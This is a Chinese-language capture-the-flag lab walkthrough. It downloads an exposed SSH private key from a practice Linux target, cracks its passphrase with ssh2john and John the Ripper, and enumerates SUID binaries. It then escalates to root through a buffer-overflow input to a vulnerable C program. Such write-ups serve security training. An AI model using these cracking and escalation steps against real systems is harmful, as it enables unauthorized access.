知識點(diǎn)：

1、利用 Join the Rippe 的 ssh2john 破解SSH私鑰
2、通過簡單的代碼審計C語言程序來溢出提權(quán)

環(huán)境：

靶場
系統(tǒng)：Linux
任務(wù)：拿到2個flag
靶場IP地址：192.168.199.138
攻擊機(jī)
系統(tǒng):kali
地址：192.168.199.249

信息收集

拿到靶場之后使用nmap掃描一下開放端口服務(wù)

image.png

image.png

image.png

image.png

image.png

image.png

image.png

在掃描的結(jié)果中，有一個.ssh的文件引起我的注意，訪問后頁面上回顯了ssh連接的私鑰和公鑰：

image.png

id_rsa（私鑰）、authorized_keys（公鑰，認(rèn)證密鑰）id_rsa.pub（公鑰），訪問以下文件可以把它們下載到本地：

image.png

image.png

嘗試使用私鑰（id_rsa）登陸ssh
ssh -i id_rsa simon@192.168.199.138

image.png

image.png

/usr/share/john/ssh2john.py

然后把ssh2john.py復(fù)制到當(dāng)前路進(jìn)行，接下來就利用ssh2john把id_rsa(私鑰)轉(zhuǎn)換成john可識別hash文件

python ssh2john.py id_rsa > key

image.png

最后使用john the Ripper來破解key文件

john key

image.png

密碼為：starwars

image.png

拿到密碼之后進(jìn)行ssh連接

chmod 700 id_rsa
ssh -i id_rsa simon@192.168.199.138
user：simon
pass：starwars

image.png

登陸成功之后，我們切換到root目錄下發(fā)現(xiàn)flag.txt但是沒有權(quán)限查看

image.png

接一下就是重要的時刻了。

提權(quán)

（這部分我是不會的。。。。）
我們先來查找一下哪些文件是root權(quán)限的

find / -perm -4000 2>/dev/null
注釋：
    find / 從根目錄查找
    -perm -4000 具有執(zhí)行權(quán)限的文件
    2>/dev/null 避免輸出錯誤

image.png

通過搜索 root 權(quán)限的文件我們可以查看到 read_message ，是不是好像在哪里見過，對，就是在/root目錄下的read_message.c文件！通過查看文件發(fā)現(xiàn)是一段由c語言編寫的程序
cat read_message.c

image.png

image.png

通過代碼審計得到了flag2為：flag2{use_the_source_luke}，其中代碼的意思就是：使用 strncmp函數(shù)來比較輸入的內(nèi)容數(shù)組，authorized（Simon）而且字符為5，第三個參數(shù)buf是數(shù)組，也就是說最大字符不能超過20，如果等于authorized（Simon）并且字符不超過authorized（Simon）那么printf打印出以下內(nèi)容

image.png

image.png

Simon000000000000000/bin/sh

image.png

image.png

參考大佬的文章